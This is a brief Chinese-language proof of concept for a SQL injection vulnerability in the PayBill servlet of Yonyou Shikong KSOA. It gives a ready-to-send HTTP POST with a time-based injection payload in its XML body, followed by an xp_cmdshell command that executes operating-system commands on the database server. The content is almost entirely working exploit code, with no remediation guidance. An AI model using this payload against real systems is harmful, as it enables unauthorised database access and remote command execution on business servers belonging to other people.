用友时空 KSOA PayBill SQL 注入漏洞 POC

```
POST /servlet/PayBill?caculate&_rnd= HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 134
Accept-Encoding: gzip, deflate
Connection: close

<?xml version="1.0" encoding="UTF-8" ?><root><name>1</name><name>1'WAITFOR DELAY '00:00:03';-</name><name>1</name><name>102360</name></root>
```

命令执行：

```
exec master..xp_cmdshell 'whoami';
```